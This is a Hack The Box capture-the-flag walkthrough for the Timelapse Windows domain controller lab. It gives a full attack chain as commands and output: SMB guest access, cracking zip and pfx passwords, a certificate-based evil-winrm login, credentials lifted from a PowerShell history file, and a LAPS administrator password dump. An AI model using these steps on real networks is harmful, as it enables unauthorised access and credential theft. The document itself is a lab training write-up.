Hack The Box - Timelapse Walkthrough

Welcome back! Today we are going to solve the Timelapse machine from Hack The Box. Timelapse is an easy box which focuses on accesible SMB shares and a lot of hash cracking to get the initial foothold. We then find configuration files that allow us to login to the system as the administrator user.

Let's start off with a basic nmap scan. We use -Pn to skip host discovery, -sC to enumerate services, -sV to enumerate service versions and -oN to write to Nmap readable format.

1nmap -Pn -sC -sV -oN nmap/initial timelapse.htb
bash

Which shows us the following results:

 1PORT    STATE SERVICE       VERSION
 253/tcp  open  domain        Simple DNS Plus
 388/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-04-01 16:07:20Z)
 4135/tcp open  msrpc         Microsoft Windows RPC
 5139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
 6389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
 7445/tcp open  microsoft-ds?
 8464/tcp open  kpasswd5?
 9593/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
10636/tcp open  ldapssl?
11Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
12
13Host script results:
14|_clock-skew: 8h00m06s
15| smb2-security-mode: 
16|   2.02: 
17|_    Message signing enabled and required
18| smb2-time: 
19|   date: 2022-04-01T16:07:28
20|_  start_date: N/A
text

We find the domain (timelapse.htb) and the host (DC01). We also see that DNS, Kerberos, LDAP and LDAPSSL are open, which also indicates that we are dealing with a domain controller. Before we dig into the results and start enumerating, we first start a more elaborate background port scan on all ports using -p- flag to specify all ports.

1nmap -Pn -sC -sV -p- -oN nmap/all_ports timelapse.htb
bash

Let's start off by enumerating RPC using rpcdump.py.

1rpcdump.py timelapse.htb
bash

RPCDump found 398 endpoints, however no useful information to obtain a foothold onto the system was found. We continue with SMB. We run nulllinux.py to see if we can find any interesting information over port 139/445.

1python3 nullinux/nullinux.py timelapse.htb
bash

But again, no luck, as we receive an "access denied" on most checks. All we find is a domain name "TIMELAPSE" and a domain SID "S-1-5-21-671920749-559770252-3318990721".

We try to enumerate users through nmap's krb5-enum-users script, since we know the domain:

1nmap -Pn --script krb5-enum-users --script-args krb5-enum-users.realm="timelapse" -p 88 timelapse.htb
bash

Which shows us the guest and administrator users.

1PORT   STATE SERVICE
288/tcp open  kerberos-sec
3| krb5-enum-users: 
4| Discovered Kerberos principals
5|     guest@timelapse
6|_    administrator@timelapse
text

Which isn't of much use for us.

Next, we try to connect with LDAP to try and extract data. For this we write a simple python3 script to try and connect to LDAPS with the following syntax:

1import ldap3
2server = ldap3.Server("timelapse.htb", get_info = ldap3.ALL, port = 636, use_ssl = True)
3connection = ldap3.Connection(server)
4connection.bind()
5server.info
python

Which returns a "Connection reset by peer" error, meaning we can't connect to LDAP without authentication.

Let's try to enumerate SMB now, using guest access. To do this, we specify the % sign as the username.

1smbmap -H timelapse.htb -u %
bash

Which returns several default shares, but one interesting read only share named "Shares":

1[+] Guest session       IP: timelapse.htb:445   Name: unknown                                           
2        Disk                                                    Permissions     
3        ----                                                    -----------
4        ADMIN$                                                  NO ACCESS       
5        C$                                                      NO ACCESS       
6        IPC$                                                    READ ONLY       
7        NETLOGON                                                NO ACCESS       
8        Shares                                                  READ ONLY
9        SYSVOL                                                  NO ACCESS       
text

We connect to the share using smbclient, and download all files that are available to us:

1smbclient //timelapse.htb/Shares -U -I timelapse.htb
2>> recurse ON
3>> prompt OFF
4>> mget *
bash

In the /dev/ share we find a winrm_backup.zip that is password protected. We use zip2john to translate the zip file to a hash so that we can use john to crack it.

1zip2john winrm_backup.zip > hash
2
3john --wordlist=/usr/share/wordlists/rockyou.txt hash
bash

We manage to crack the password, and manage to extract a .pfx file. This .pfx file is also password protected, so we use pfx2john to translate the file to a hash so we can crack it.

1pfx2john legacyy_dev_auth.pfx > pfx_hash
2
3john --wordlist=/usr/share/wordlists/rockyou.txt pfx_hash
bash

After two minutes we managed to crack the pfx file and obtain the password. We double click the .pfx file and find the "identity:Legacyy" entry, indicating that legacyy could be a potential username.

We use openssl to extract the private key from the .pfx file.

1openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key
bash

We now have an encrypted private key. We decrypt it using the following command:

1openssl rsa -in private.key -out decrypted_private.key
bash

We use openssl to extract the certificate from the .pfx file:

1# extract encrypted .crt file
2openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
3
4# extract decrypted .cer file
5openssl x509 -inform pem -in cert.crt -outform der -out cert.cer
bash

We now have a potential username (legacyy) and a decrypted certificate and private key. We use evil-winrm to connect to the box.

1evil-winrm -i timelapse.htb -k decrypted_private.key -c cert.cer -S
bash

We navigate to the desktop and find user.txt

 1*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir
 2
 3
 4    Directory: C:\Users\legacyy\Desktop
 5
 6
 7Mode                LastWriteTime         Length Name
 8----                -------------         ------ ----
 9-ar---         4/1/2022   9:04 AM             34 user.txt
10
11
12*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami
13timelapse\legacyy
text

We upload Winpeas and run it. Winpeas shows us that our user has a powershell history file located under "C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt", which contains the following information

 1whoami
 2ipconfig /all
 3netstat -ano |select-string LIST
 4$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
 5$p = ConvertTo-SecureString '[...REDACTED...]' -AsPlainText -Force
 6$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
 7invoke-command -computername localhost -credential $c -port 5986 -usessl -
 8SessionOption $so -scriptblock {whoami}
 9get-aduser -filter * -properties *
10exit
text

We use evil-winrm to setup another session with the new credentials that we found. As the password contains a $, we have to escape it using the \ character before logging in.

1evil-winrm -i timelapse.htb -u "svc_deploy" -p "xxR\$Q62^12xxxxKWaxxxV" -P 5986 -S
bash

We navigate through the filesystem, and find that LAPS is installed. Knowing this, we look for a simple powershell script to look for credentials. For this we use the following script:

1$Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
2$Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
powershell

We run the script and find administrator credentials:

1.\password_dump.ps1
2
3
4Name  DnsHostName        ms-Mcs-AdmPwd            ms-Mcs-AdmPwdExpirationTime
5----  -----------        -------------            ---------------------------
6WEB01
7DEV01
8DB01
9DC01  dc01.timelapse.htb [...REDACTED...] 132937346648463515
text

We use these credentials to logon the box as the administrator user through evil-winrm, and find the root.txt and thereby complete the box.

 1*Evil-WinRM* PS C:\Users\TRX> whoami
 2timelapse\administrator
 3*Evil-WinRM* PS C:\Users\TRX> dir Desktop
 4
 5
 6    Directory: C:\Users\TRX\Desktop
 7
 8
 9Mode                LastWriteTime         Length Name
10----                -------------         ------ ----
11-ar---         4/1/2022   9:04 AM             34 root.txt
text

I hope this walkthrough has been useful to you and taught you a thing or two. Thanks for reading, and see you in my next walkthrough!